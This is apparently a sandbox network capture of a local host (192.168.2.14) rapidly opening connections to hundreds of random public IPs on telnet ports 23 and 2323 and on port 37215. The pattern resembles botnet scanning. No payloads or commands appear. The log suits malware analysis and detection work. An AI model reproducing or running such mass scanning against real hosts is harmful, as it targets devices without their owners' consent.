Nov 3, 2024 15:33:14.210421085 CET	4833	23	192.168.2.14	211.18.107.148
Nov 3, 2024 15:33:14.210421085 CET	4833	23	192.168.2.14	167.51.81.9
Nov 3, 2024 15:33:14.210422039 CET	4833	23	192.168.2.14	14.222.131.224
Nov 3, 2024 15:33:14.210421085 CET	4833	23	192.168.2.14	217.121.63.164
Nov 3, 2024 15:33:14.210421085 CET	4833	23	192.168.2.14	116.61.2.199
Nov 3, 2024 15:33:14.210422993 CET	4833	23	192.168.2.14	160.63.99.233
Nov 3, 2024 15:33:14.210421085 CET	4833	23	192.168.2.14	192.48.80.171
Nov 3, 2024 15:33:14.210422993 CET	4833	23	192.168.2.14	126.231.155.224
Nov 3, 2024 15:33:14.210421085 CET	4833	23	192.168.2.14	85.143.88.139
Nov 3, 2024 15:33:14.210422993 CET	4833	23	192.168.2.14	96.68.12.72
Nov 3, 2024 15:33:14.210421085 CET	4833	23	192.168.2.14	96.243.67.87
Nov 3, 2024 15:33:14.210426092 CET	4833	23	192.168.2.14	206.36.154.148
Nov 3, 2024 15:33:14.210426092 CET	4833	23	192.168.2.14	69.59.113.204
Nov 3, 2024 15:33:14.210426092 CET	4833	2323	192.168.2.14	101.142.22.219
Nov 3, 2024 15:33:14.210447073 CET	4833	23	192.168.2.14	150.163.205.203
Nov 3, 2024 15:33:14.210447073 CET	4833	23	192.168.2.14	53.157.53.191
Nov 3, 2024 15:33:14.210448027 CET	4833	23	192.168.2.14	213.96.71.79
Nov 3, 2024 15:33:14.210449934 CET	4833	23	192.168.2.14	221.161.193.227
Nov 3, 2024 15:33:14.210450888 CET	4833	23	192.168.2.14	36.41.215.59
Nov 3, 2024 15:33:14.210450888 CET	4833	2323	192.168.2.14	96.25.19.47
Nov 3, 2024 15:33:14.210452080 CET	4833	23	192.168.2.14	152.105.130.107
Nov 3, 2024 15:33:14.210452080 CET	4833	23	192.168.2.14	171.237.191.46
Nov 3, 2024 15:33:14.210453033 CET	4833	23	192.168.2.14	218.188.121.242
Nov 3, 2024 15:33:14.210454941 CET	4833	23	192.168.2.14	165.114.10.217
Nov 3, 2024 15:33:14.210454941 CET	4833	2323	192.168.2.14	175.21.33.223
Nov 3, 2024 15:33:14.210454941 CET	4833	23	192.168.2.14	184.67.140.160
Nov 3, 2024 15:33:14.210454941 CET	4833	23	192.168.2.14	54.38.159.155
Nov 3, 2024 15:33:14.210472107 CET	4833	23	192.168.2.14	48.182.158.249
Nov 3, 2024 15:33:14.210473061 CET	4833	23	192.168.2.14	179.61.119.84
Nov 3, 2024 15:33:14.210473061 CET	4833	23	192.168.2.14	46.121.195.90
Nov 3, 2024 15:33:14.210474014 CET	4833	23	192.168.2.14	89.168.15.140
Nov 3, 2024 15:33:14.210473061 CET	4833	23	192.168.2.14	8.33.4.85
Nov 3, 2024 15:33:14.210474014 CET	4833	23	192.168.2.14	4.70.83.99
Nov 3, 2024 15:33:14.210473061 CET	4833	23	192.168.2.14	198.253.186.76
Nov 3, 2024 15:33:14.210474014 CET	4833	23	192.168.2.14	4.251.112.29
Nov 3, 2024 15:33:14.210475922 CET	4833	23	192.168.2.14	5.230.55.88
Nov 3, 2024 15:33:14.210479021 CET	4833	23	192.168.2.14	170.146.96.106
Nov 3, 2024 15:33:14.210479021 CET	4833	23	192.168.2.14	159.10.58.6
Nov 3, 2024 15:33:14.210479021 CET	4833	23	192.168.2.14	8.129.41.183
Nov 3, 2024 15:33:14.210484028 CET	4833	23	192.168.2.14	209.143.27.180
Nov 3, 2024 15:33:14.214972019 CET	2323	4833	86.164.13.141	192.168.2.14
Nov 3, 2024 15:33:14.214998960 CET	23	4833	83.132.96.178	192.168.2.14
Nov 3, 2024 15:33:14.215008974 CET	23	4833	136.14.210.137	192.168.2.14
Nov 3, 2024 15:33:14.215017080 CET	4833	2323	192.168.2.14	86.164.13.141
Nov 3, 2024 15:33:14.215018988 CET	23	4833	158.144.56.112	192.168.2.14
Nov 3, 2024 15:33:14.215028048 CET	23	4833	202.194.221.233	192.168.2.14
Nov 3, 2024 15:33:14.215034008 CET	4833	23	192.168.2.14	83.132.96.178
Nov 3, 2024 15:33:14.215038061 CET	23	4833	177.224.9.253	192.168.2.14
Nov 3, 2024 15:33:14.215053082 CET	4833	23	192.168.2.14	136.14.210.137
Nov 3, 2024 15:33:14.215078115 CET	4833	23	192.168.2.14	177.224.9.253
Nov 3, 2024 15:33:14.215080023 CET	4833	23	192.168.2.14	202.194.221.233
Nov 3, 2024 15:33:14.215080976 CET	4833	23	192.168.2.14	158.144.56.112
Nov 3, 2024 15:33:14.215095997 CET	23	4833	17.64.226.132	192.168.2.14
Nov 3, 2024 15:33:14.215106964 CET	23	4833	167.183.12.91	192.168.2.14
Nov 3, 2024 15:33:14.215116024 CET	23	4833	36.143.157.165	192.168.2.14
Nov 3, 2024 15:33:14.215125084 CET	23	4833	93.172.13.191	192.168.2.14
Nov 3, 2024 15:33:14.215132952 CET	2323	4833	40.69.60.118	192.168.2.14
Nov 3, 2024 15:33:14.215136051 CET	4833	23	192.168.2.14	167.183.12.91
Nov 3, 2024 15:33:14.215137959 CET	4833	23	192.168.2.14	17.64.226.132
Nov 3, 2024 15:33:14.215142965 CET	23	4833	180.213.176.33	192.168.2.14
Nov 3, 2024 15:33:14.215148926 CET	4833	23	192.168.2.14	36.143.157.165
Nov 3, 2024 15:33:14.215152025 CET	23	4833	54.122.239.80	192.168.2.14
Nov 3, 2024 15:33:14.215157986 CET	4833	23	192.168.2.14	93.172.13.191
Nov 3, 2024 15:33:14.215162039 CET	4833	2323	192.168.2.14	40.69.60.118
Nov 3, 2024 15:33:14.215179920 CET	4833	23	192.168.2.14	180.213.176.33
Nov 3, 2024 15:33:14.215184927 CET	4833	23	192.168.2.14	54.122.239.80
Nov 3, 2024 15:33:14.215519905 CET	23	4833	68.86.66.178	192.168.2.14
Nov 3, 2024 15:33:14.215529919 CET	23	4833	189.5.15.255	192.168.2.14
Nov 3, 2024 15:33:14.215538025 CET	23	4833	4.147.127.33	192.168.2.14
Nov 3, 2024 15:33:14.215548038 CET	23	4833	91.240.204.118	192.168.2.14
Nov 3, 2024 15:33:14.215557098 CET	23	4833	171.64.119.218	192.168.2.14
Nov 3, 2024 15:33:14.215564966 CET	23	4833	106.92.164.239	192.168.2.14
Nov 3, 2024 15:33:14.215570927 CET	4833	23	192.168.2.14	189.5.15.255
Nov 3, 2024 15:33:14.215574026 CET	2323	4833	218.88.218.82	192.168.2.14
Nov 3, 2024 15:33:14.215579987 CET	4833	23	192.168.2.14	91.240.204.118
Nov 3, 2024 15:33:14.215581894 CET	23	4833	161.103.233.55	192.168.2.14
Nov 3, 2024 15:33:14.215584993 CET	4833	23	192.168.2.14	171.64.119.218
Nov 3, 2024 15:33:14.215590000 CET	4833	23	192.168.2.14	68.86.66.178
Nov 3, 2024 15:33:14.215590000 CET	4833	23	192.168.2.14	4.147.127.33
Nov 3, 2024 15:33:14.215591908 CET	23	4833	135.210.176.49	192.168.2.14
Nov 3, 2024 15:33:14.215593100 CET	4833	23	192.168.2.14	106.92.164.239
Nov 3, 2024 15:33:14.215601921 CET	23	4833	180.49.31.77	192.168.2.14
Nov 3, 2024 15:33:14.215603113 CET	4833	2323	192.168.2.14	218.88.218.82
Nov 3, 2024 15:33:14.215607882 CET	4833	23	192.168.2.14	161.103.233.55
Nov 3, 2024 15:33:14.215611935 CET	23	4833	36.72.45.42	192.168.2.14
Nov 3, 2024 15:33:14.215617895 CET	4833	23	192.168.2.14	135.210.176.49
Nov 3, 2024 15:33:14.215620041 CET	23	4833	130.228.132.93	192.168.2.14
Nov 3, 2024 15:33:14.215629101 CET	23	4833	204.129.37.250	192.168.2.14
Nov 3, 2024 15:33:14.215636969 CET	23	4833	70.193.37.144	192.168.2.14
Nov 3, 2024 15:33:14.215641022 CET	4833	23	192.168.2.14	36.72.45.42
Nov 3, 2024 15:33:14.215641975 CET	4833	23	192.168.2.14	130.228.132.93
Nov 3, 2024 15:33:14.215646029 CET	23	4833	216.120.240.82	192.168.2.14
Nov 3, 2024 15:33:14.215651035 CET	4833	23	192.168.2.14	180.49.31.77
Nov 3, 2024 15:33:14.215657949 CET	4833	23	192.168.2.14	70.193.37.144
Nov 3, 2024 15:33:14.215657949 CET	23	4833	194.195.221.21	192.168.2.14
Nov 3, 2024 15:33:14.215666056 CET	4833	23	192.168.2.14	204.129.37.250
Nov 3, 2024 15:33:14.215667009 CET	23	4833	44.158.75.154	192.168.2.14
Nov 3, 2024 15:33:14.215675116 CET	4833	23	192.168.2.14	216.120.240.82
Nov 3, 2024 15:33:14.215676069 CET	2323	4833	71.255.34.7	192.168.2.14
Nov 3, 2024 15:33:14.215684891 CET	23	4833	120.41.130.152	192.168.2.14
Nov 3, 2024 15:33:14.215693951 CET	4833	23	192.168.2.14	194.195.221.21
Nov 3, 2024 15:33:14.215693951 CET	23	4833	186.162.117.236	192.168.2.14
Nov 3, 2024 15:33:14.215692043 CET	4833	23	192.168.2.14	44.158.75.154
Nov 3, 2024 15:33:14.215708017 CET	23	4833	193.124.10.215	192.168.2.14
Nov 3, 2024 15:33:14.215708971 CET	4833	2323	192.168.2.14	71.255.34.7
Nov 3, 2024 15:33:14.215713978 CET	4833	23	192.168.2.14	120.41.130.152
Nov 3, 2024 15:33:14.215717077 CET	23	4833	85.154.163.88	192.168.2.14
Nov 3, 2024 15:33:14.215727091 CET	23	4833	76.5.132.17	192.168.2.14
Nov 3, 2024 15:33:14.215732098 CET	4833	23	192.168.2.14	186.162.117.236
Nov 3, 2024 15:33:14.215739012 CET	23	4833	217.79.10.247	192.168.2.14
Nov 3, 2024 15:33:14.215747118 CET	4833	23	192.168.2.14	85.154.163.88
Nov 3, 2024 15:33:14.215747118 CET	4833	23	192.168.2.14	193.124.10.215
Nov 3, 2024 15:33:14.215748072 CET	23	4833	208.39.68.214	192.168.2.14
Nov 3, 2024 15:33:14.215755939 CET	23	4833	18.255.94.127	192.168.2.14
Nov 3, 2024 15:33:14.215764999 CET	23	4833	1.7.27.140	192.168.2.14
Nov 3, 2024 15:33:14.215764999 CET	4833	23	192.168.2.14	76.5.132.17
Nov 3, 2024 15:33:14.215769053 CET	4833	23	192.168.2.14	217.79.10.247
Nov 3, 2024 15:33:14.215775967 CET	23	4833	18.134.50.88	192.168.2.14
Nov 3, 2024 15:33:14.215778112 CET	4833	23	192.168.2.14	208.39.68.214
Nov 3, 2024 15:33:14.215789080 CET	4833	23	192.168.2.14	18.255.94.127
Nov 3, 2024 15:33:14.215789080 CET	4833	23	192.168.2.14	1.7.27.140
Nov 3, 2024 15:33:14.215801954 CET	23	4833	192.64.105.83	192.168.2.14
Nov 3, 2024 15:33:14.215809107 CET	4833	23	192.168.2.14	18.134.50.88
Nov 3, 2024 15:33:14.215811014 CET	2323	4833	40.186.114.138	192.168.2.14
Nov 3, 2024 15:33:14.215821028 CET	23	4833	87.86.24.163	192.168.2.14
Nov 3, 2024 15:33:14.215831041 CET	23	4833	73.216.163.247	192.168.2.14
Nov 3, 2024 15:33:14.215835094 CET	4833	23	192.168.2.14	192.64.105.83
Nov 3, 2024 15:33:14.215838909 CET	23	4833	156.199.48.250	192.168.2.14
Nov 3, 2024 15:33:14.215843916 CET	4833	2323	192.168.2.14	40.186.114.138
Nov 3, 2024 15:33:14.215847969 CET	23	4833	154.176.253.96	192.168.2.14
Nov 3, 2024 15:33:14.215857983 CET	2323	4833	103.141.238.53	192.168.2.14
Nov 3, 2024 15:33:14.215858936 CET	4833	23	192.168.2.14	87.86.24.163
Nov 3, 2024 15:33:14.215867043 CET	4833	23	192.168.2.14	73.216.163.247
Nov 3, 2024 15:33:14.215867996 CET	23	4833	202.239.225.212	192.168.2.14
Nov 3, 2024 15:33:14.215873003 CET	4833	23	192.168.2.14	156.199.48.250
Nov 3, 2024 15:33:14.215878010 CET	23	4833	34.164.191.130	192.168.2.14
Nov 3, 2024 15:33:14.215883970 CET	4833	23	192.168.2.14	154.176.253.96
Nov 3, 2024 15:33:14.215888023 CET	23	4833	79.216.36.37	192.168.2.14
Nov 3, 2024 15:33:14.215893984 CET	4833	2323	192.168.2.14	103.141.238.53
Nov 3, 2024 15:33:14.215897083 CET	23	4833	179.163.235.223	192.168.2.14
Nov 3, 2024 15:33:14.215905905 CET	4833	23	192.168.2.14	34.164.191.130
Nov 3, 2024 15:33:14.215905905 CET	23	4833	169.179.201.140	192.168.2.14
Nov 3, 2024 15:33:14.215909004 CET	4833	23	192.168.2.14	202.239.225.212
Nov 3, 2024 15:33:14.215915918 CET	23	4833	115.167.223.205	192.168.2.14
Nov 3, 2024 15:33:14.215918064 CET	4833	23	192.168.2.14	79.216.36.37
Nov 3, 2024 15:33:14.215925932 CET	23	4833	76.19.127.181	192.168.2.14
Nov 3, 2024 15:33:14.215930939 CET	4833	23	192.168.2.14	179.163.235.223
Nov 3, 2024 15:33:14.215934038 CET	4833	23	192.168.2.14	169.179.201.140
Nov 3, 2024 15:33:14.215934992 CET	23	4833	27.100.149.177	192.168.2.14
Nov 3, 2024 15:33:14.215945005 CET	23	4833	72.182.101.82	192.168.2.14
Nov 3, 2024 15:33:14.215953112 CET	23	4833	91.49.197.220	192.168.2.14
Nov 3, 2024 15:33:14.215958118 CET	4833	23	192.168.2.14	76.19.127.181
Nov 3, 2024 15:33:14.215958118 CET	4833	23	192.168.2.14	115.167.223.205
Nov 3, 2024 15:33:14.215961933 CET	23	4833	2.17.212.94	192.168.2.14
Nov 3, 2024 15:33:14.215961933 CET	4833	23	192.168.2.14	27.100.149.177
Nov 3, 2024 15:33:14.215971947 CET	23	4833	87.165.32.62	192.168.2.14
Nov 3, 2024 15:33:14.215980053 CET	23	4833	93.27.95.136	192.168.2.14
Nov 3, 2024 15:33:14.215981007 CET	4833	23	192.168.2.14	72.182.101.82
Nov 3, 2024 15:33:14.215989113 CET	4833	23	192.168.2.14	91.49.197.220
Nov 3, 2024 15:33:14.215989113 CET	23	4833	121.124.244.240	192.168.2.14
Nov 3, 2024 15:33:14.215993881 CET	4833	23	192.168.2.14	2.17.212.94
Nov 3, 2024 15:33:14.215998888 CET	2323	4833	87.209.65.128	192.168.2.14
Nov 3, 2024 15:33:14.216000080 CET	4833	23	192.168.2.14	87.165.32.62
Nov 3, 2024 15:33:14.216011047 CET	23	4833	111.0.117.120	192.168.2.14
Nov 3, 2024 15:33:14.216013908 CET	4833	23	192.168.2.14	93.27.95.136
Nov 3, 2024 15:33:14.216013908 CET	4833	23	192.168.2.14	121.124.244.240
Nov 3, 2024 15:33:14.216022968 CET	23	4833	178.41.12.127	192.168.2.14
Nov 3, 2024 15:33:14.216032028 CET	4833	2323	192.168.2.14	87.209.65.128
Nov 3, 2024 15:33:14.216032028 CET	23	4833	69.225.245.168	192.168.2.14
Nov 3, 2024 15:33:14.216041088 CET	23	4833	164.196.119.129	192.168.2.14
Nov 3, 2024 15:33:14.216047049 CET	4833	23	192.168.2.14	111.0.117.120
Nov 3, 2024 15:33:14.216051102 CET	23	4833	35.234.147.37	192.168.2.14
Nov 3, 2024 15:33:14.216061115 CET	2323	57328	73.112.49.94	192.168.2.14
Nov 3, 2024 15:33:14.216061115 CET	4833	23	192.168.2.14	69.225.245.168
Nov 3, 2024 15:33:14.216062069 CET	4833	23	192.168.2.14	178.41.12.127
Nov 3, 2024 15:33:14.216068983 CET	23	33594	163.162.104.40	192.168.2.14
Nov 3, 2024 15:33:14.216073990 CET	4833	23	192.168.2.14	164.196.119.129
Nov 3, 2024 15:33:14.216078043 CET	23	37040	68.152.187.162	192.168.2.14
Nov 3, 2024 15:33:14.216079950 CET	4833	23	192.168.2.14	35.234.147.37
Nov 3, 2024 15:33:14.216119051 CET	33594	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:14.216497898 CET	34028	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:14.216635942 CET	37040	23	192.168.2.14	68.152.187.162
Nov 3, 2024 15:33:14.216638088 CET	57328	2323	192.168.2.14	73.112.49.94
Nov 3, 2024 15:33:14.216856003 CET	57328	2323	192.168.2.14	73.112.49.94
Nov 3, 2024 15:33:14.217142105 CET	57760	2323	192.168.2.14	73.112.49.94
Nov 3, 2024 15:33:14.217730045 CET	44262	2323	192.168.2.14	86.164.13.141
Nov 3, 2024 15:33:14.218333960 CET	47832	23	192.168.2.14	83.132.96.178
Nov 3, 2024 15:33:14.218712091 CET	37040	23	192.168.2.14	68.152.187.162
Nov 3, 2024 15:33:14.218976021 CET	37486	23	192.168.2.14	68.152.187.162
Nov 3, 2024 15:33:14.221405029 CET	23	33594	163.162.104.40	192.168.2.14
Nov 3, 2024 15:33:14.221426010 CET	23	34028	163.162.104.40	192.168.2.14
Nov 3, 2024 15:33:14.221482038 CET	34028	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:14.221951962 CET	2323	57328	73.112.49.94	192.168.2.14
Nov 3, 2024 15:33:14.223520994 CET	23	37040	68.152.187.162	192.168.2.14
Nov 3, 2024 15:33:14.226727009 CET	23	34028	163.162.104.40	192.168.2.14
Nov 3, 2024 15:33:14.226783037 CET	34028	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:14.227052927 CET	34038	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:14.231672049 CET	23	34028	163.162.104.40	192.168.2.14
Nov 3, 2024 15:33:14.231827974 CET	23	34038	163.162.104.40	192.168.2.14
Nov 3, 2024 15:33:14.231862068 CET	34038	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:14.236634970 CET	56056	23	192.168.2.14	150.186.70.101
Nov 3, 2024 15:33:14.236643076 CET	36564	2323	192.168.2.14	216.91.231.125
Nov 3, 2024 15:33:14.236643076 CET	60286	23	192.168.2.14	213.68.148.191
Nov 3, 2024 15:33:14.236644030 CET	38782	37215	192.168.2.14	41.188.19.186
Nov 3, 2024 15:33:14.236653090 CET	53872	37215	192.168.2.14	156.2.101.153
Nov 3, 2024 15:33:14.236653090 CET	40546	37215	192.168.2.14	156.144.185.8
Nov 3, 2024 15:33:14.236653090 CET	44486	23	192.168.2.14	101.178.28.59
Nov 3, 2024 15:33:14.236653090 CET	55092	23	192.168.2.14	195.159.124.194
Nov 3, 2024 15:33:14.236654997 CET	56582	23	192.168.2.14	48.189.3.86
Nov 3, 2024 15:33:14.236656904 CET	34042	37215	192.168.2.14	156.34.112.245
Nov 3, 2024 15:33:14.236656904 CET	35424	37215	192.168.2.14	197.219.201.144
Nov 3, 2024 15:33:14.236668110 CET	33378	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:14.236668110 CET	41102	23	192.168.2.14	130.173.150.45
Nov 3, 2024 15:33:14.236671925 CET	49218	23	192.168.2.14	223.117.158.56
Nov 3, 2024 15:33:14.236674070 CET	37396	37215	192.168.2.14	41.151.143.90
Nov 3, 2024 15:33:14.236677885 CET	42844	37215	192.168.2.14	156.226.246.49
Nov 3, 2024 15:33:14.236679077 CET	38854	37215	192.168.2.14	156.75.53.41
Nov 3, 2024 15:33:14.236679077 CET	60358	23	192.168.2.14	160.222.111.197
Nov 3, 2024 15:33:14.236679077 CET	50334	37215	192.168.2.14	197.185.188.104
Nov 3, 2024 15:33:14.236685038 CET	49976	23	192.168.2.14	170.59.216.178
Nov 3, 2024 15:33:14.236685038 CET	56842	37215	192.168.2.14	156.92.21.112
Nov 3, 2024 15:33:14.236706018 CET	58110	23	192.168.2.14	103.136.202.146
Nov 3, 2024 15:33:14.236706018 CET	37542	23	192.168.2.14	119.218.10.19
Nov 3, 2024 15:33:14.236706972 CET	35636	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:14.236707926 CET	42852	23	192.168.2.14	105.20.168.248
Nov 3, 2024 15:33:14.236707926 CET	39802	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:14.236709118 CET	34770	23	192.168.2.14	125.16.156.71
Nov 3, 2024 15:33:14.236706972 CET	59130	23	192.168.2.14	189.211.27.181
Nov 3, 2024 15:33:14.236709118 CET	49484	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:14.236709118 CET	33156	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:14.236707926 CET	39150	2323	192.168.2.14	121.222.205.245
Nov 3, 2024 15:33:14.236709118 CET	57824	2323	192.168.2.14	14.156.87.77
Nov 3, 2024 15:33:14.236709118 CET	33200	23	192.168.2.14	54.115.171.21
Nov 3, 2024 15:33:14.236707926 CET	46860	23	192.168.2.14	5.217.183.113
Nov 3, 2024 15:33:14.236707926 CET	46364	23	192.168.2.14	40.192.9.160
Nov 3, 2024 15:33:14.236707926 CET	53486	23	192.168.2.14	105.90.5.21
Nov 3, 2024 15:33:14.236711025 CET	56416	23	192.168.2.14	152.173.229.196
Nov 3, 2024 15:33:14.236707926 CET	51590	23	192.168.2.14	160.191.29.198
Nov 3, 2024 15:33:14.236711025 CET	52412	37215	192.168.2.14	197.8.90.91
Nov 3, 2024 15:33:14.236710072 CET	35982	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:14.236707926 CET	58940	23	192.168.2.14	189.24.123.196
Nov 3, 2024 15:33:14.236710072 CET	51926	23	192.168.2.14	9.83.49.8
Nov 3, 2024 15:33:14.236711025 CET	36510	23	192.168.2.14	169.102.108.197
Nov 3, 2024 15:33:14.236711025 CET	47838	23	192.168.2.14	118.184.140.7
Nov 3, 2024 15:33:14.236741066 CET	57790	23	192.168.2.14	217.28.4.151
Nov 3, 2024 15:33:14.236741066 CET	34720	2323	192.168.2.14	157.3.181.215
Nov 3, 2024 15:33:14.236741066 CET	44712	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:14.236741066 CET	39250	23	192.168.2.14	45.251.55.196
Nov 3, 2024 15:33:14.236741066 CET	46866	23	192.168.2.14	140.215.30.98
Nov 3, 2024 15:33:14.236741066 CET	56956	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:14.236741066 CET	60422	37215	192.168.2.14	197.233.247.204
Nov 3, 2024 15:33:14.236741066 CET	40574	2323	192.168.2.14	130.234.175.231
Nov 3, 2024 15:33:14.236742973 CET	42432	23	192.168.2.14	76.138.124.126
Nov 3, 2024 15:33:14.236742973 CET	35160	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:14.236743927 CET	41154	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:14.236742973 CET	57956	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:14.236743927 CET	55404	23	192.168.2.14	97.104.202.222
Nov 3, 2024 15:33:14.236742973 CET	40780	23	192.168.2.14	110.90.84.35
Nov 3, 2024 15:33:14.236746073 CET	57644	23	192.168.2.14	210.104.191.129
Nov 3, 2024 15:33:14.236743927 CET	48154	23	192.168.2.14	142.132.34.191
Nov 3, 2024 15:33:14.236748934 CET	56016	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:14.236742973 CET	48120	23	192.168.2.14	112.255.193.230
Nov 3, 2024 15:33:14.236743927 CET	41270	2323	192.168.2.14	73.152.162.54
Nov 3, 2024 15:33:14.236748934 CET	56226	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:14.236742973 CET	51328	23	192.168.2.14	9.187.18.204
Nov 3, 2024 15:33:14.237198114 CET	23	34038	163.162.104.40	192.168.2.14
Nov 3, 2024 15:33:14.237258911 CET	34038	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:14.237559080 CET	34040	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:14.241585970 CET	23	56056	150.186.70.101	192.168.2.14
Nov 3, 2024 15:33:14.241627932 CET	56056	23	192.168.2.14	150.186.70.101
Nov 3, 2024 15:33:14.242063999 CET	23	34038	163.162.104.40	192.168.2.14
Nov 3, 2024 15:33:14.246903896 CET	23	56056	150.186.70.101	192.168.2.14
Nov 3, 2024 15:33:14.246958017 CET	56056	23	192.168.2.14	150.186.70.101
Nov 3, 2024 15:33:14.247236013 CET	56486	23	192.168.2.14	150.186.70.101
Nov 3, 2024 15:33:14.251584053 CET	4847	37215	192.168.2.14	156.32.67.204
Nov 3, 2024 15:33:14.251589060 CET	4847	37215	192.168.2.14	41.4.51.182
Nov 3, 2024 15:33:14.251596928 CET	4847	37215	192.168.2.14	41.116.54.98
Nov 3, 2024 15:33:14.251605034 CET	4847	37215	192.168.2.14	41.20.246.92
Nov 3, 2024 15:33:14.251614094 CET	4847	37215	192.168.2.14	156.214.25.198
Nov 3, 2024 15:33:14.251616001 CET	4847	37215	192.168.2.14	156.245.40.32
Nov 3, 2024 15:33:14.251616001 CET	4847	37215	192.168.2.14	156.234.92.99
Nov 3, 2024 15:33:14.251629114 CET	4847	37215	192.168.2.14	156.125.82.3
Nov 3, 2024 15:33:14.251631021 CET	4847	37215	192.168.2.14	197.144.236.17
Nov 3, 2024 15:33:14.251638889 CET	4847	37215	192.168.2.14	197.22.153.80
Nov 3, 2024 15:33:14.251641035 CET	4847	37215	192.168.2.14	41.177.125.154
Nov 3, 2024 15:33:14.251641035 CET	4847	37215	192.168.2.14	156.133.113.19
Nov 3, 2024 15:33:14.251646996 CET	4847	37215	192.168.2.14	197.174.58.169
Nov 3, 2024 15:33:14.251661062 CET	4847	37215	192.168.2.14	156.234.229.217
Nov 3, 2024 15:33:14.251667023 CET	4847	37215	192.168.2.14	41.218.185.101
Nov 3, 2024 15:33:14.251671076 CET	4847	37215	192.168.2.14	156.174.162.8
Nov 3, 2024 15:33:14.251672029 CET	4847	37215	192.168.2.14	197.182.56.163
Nov 3, 2024 15:33:14.251687050 CET	4847	37215	192.168.2.14	156.214.138.87
Nov 3, 2024 15:33:14.251687050 CET	4847	37215	192.168.2.14	156.6.77.216
Nov 3, 2024 15:33:14.251687050 CET	4847	37215	192.168.2.14	156.228.148.88
Nov 3, 2024 15:33:14.251688957 CET	4847	37215	192.168.2.14	156.205.190.18
Nov 3, 2024 15:33:14.251691103 CET	4847	37215	192.168.2.14	41.156.28.144
Nov 3, 2024 15:33:14.251692057 CET	4847	37215	192.168.2.14	41.173.131.111
Nov 3, 2024 15:33:14.251713037 CET	4847	37215	192.168.2.14	197.188.66.4
Nov 3, 2024 15:33:14.251713991 CET	4847	37215	192.168.2.14	41.163.107.78
Nov 3, 2024 15:33:14.251714945 CET	4847	37215	192.168.2.14	156.203.210.160
Nov 3, 2024 15:33:14.251714945 CET	4847	37215	192.168.2.14	197.42.143.202
Nov 3, 2024 15:33:14.251714945 CET	4847	37215	192.168.2.14	156.86.141.52
Nov 3, 2024 15:33:14.251714945 CET	4847	37215	192.168.2.14	197.22.0.102
Nov 3, 2024 15:33:14.251715899 CET	4847	37215	192.168.2.14	197.24.119.204
Nov 3, 2024 15:33:14.251717091 CET	4847	37215	192.168.2.14	197.176.180.98
Nov 3, 2024 15:33:14.251725912 CET	4847	37215	192.168.2.14	197.219.185.42
Nov 3, 2024 15:33:14.251730919 CET	4847	37215	192.168.2.14	197.167.66.8
Nov 3, 2024 15:33:14.251732111 CET	4847	37215	192.168.2.14	156.73.60.165
Nov 3, 2024 15:33:14.251732111 CET	4847	37215	192.168.2.14	41.81.246.194
Nov 3, 2024 15:33:14.251730919 CET	4847	37215	192.168.2.14	41.62.193.225
Nov 3, 2024 15:33:14.251730919 CET	4847	37215	192.168.2.14	197.132.36.98
Nov 3, 2024 15:33:14.251730919 CET	4847	37215	192.168.2.14	197.228.115.89
Nov 3, 2024 15:33:14.251741886 CET	4847	37215	192.168.2.14	156.242.176.181
Nov 3, 2024 15:33:14.251740932 CET	4847	37215	192.168.2.14	156.247.80.177
Nov 3, 2024 15:33:14.251741886 CET	4847	37215	192.168.2.14	197.214.32.78
Nov 3, 2024 15:33:14.251744986 CET	4847	37215	192.168.2.14	41.60.76.171
Nov 3, 2024 15:33:14.251744986 CET	4847	37215	192.168.2.14	156.230.51.188
Nov 3, 2024 15:33:14.251751900 CET	4847	37215	192.168.2.14	41.231.215.177
Nov 3, 2024 15:33:14.251754045 CET	4847	37215	192.168.2.14	197.64.145.35
Nov 3, 2024 15:33:14.251754045 CET	4847	37215	192.168.2.14	41.67.33.100
Nov 3, 2024 15:33:14.251754999 CET	4847	37215	192.168.2.14	197.17.74.253
Nov 3, 2024 15:33:14.251769066 CET	4847	37215	192.168.2.14	197.100.76.105
Nov 3, 2024 15:33:14.251769066 CET	4847	37215	192.168.2.14	41.96.239.99
Nov 3, 2024 15:33:14.251770020 CET	4847	37215	192.168.2.14	197.148.242.153
Nov 3, 2024 15:33:14.251769066 CET	4847	37215	192.168.2.14	156.169.37.167
Nov 3, 2024 15:33:14.251770020 CET	4847	37215	192.168.2.14	197.245.223.103
Nov 3, 2024 15:33:14.251775980 CET	4847	37215	192.168.2.14	41.255.234.203
Nov 3, 2024 15:33:14.251796961 CET	4847	37215	192.168.2.14	197.104.57.14
Nov 3, 2024 15:33:14.251799107 CET	4847	37215	192.168.2.14	156.19.110.101
Nov 3, 2024 15:33:14.251799107 CET	4847	37215	192.168.2.14	197.111.2.49
Nov 3, 2024 15:33:14.251801968 CET	4847	37215	192.168.2.14	156.156.164.47
Nov 3, 2024 15:33:14.251805067 CET	4847	37215	192.168.2.14	156.219.129.17
Nov 3, 2024 15:33:14.251805067 CET	4847	37215	192.168.2.14	156.100.185.7
Nov 3, 2024 15:33:14.251805067 CET	4847	37215	192.168.2.14	197.32.27.205
Nov 3, 2024 15:33:14.251808882 CET	4847	37215	192.168.2.14	156.114.41.179
Nov 3, 2024 15:33:14.251822948 CET	4847	37215	192.168.2.14	197.109.245.241
Nov 3, 2024 15:33:14.251828909 CET	4847	37215	192.168.2.14	41.11.74.53
Nov 3, 2024 15:33:14.251830101 CET	4847	37215	192.168.2.14	41.158.244.222
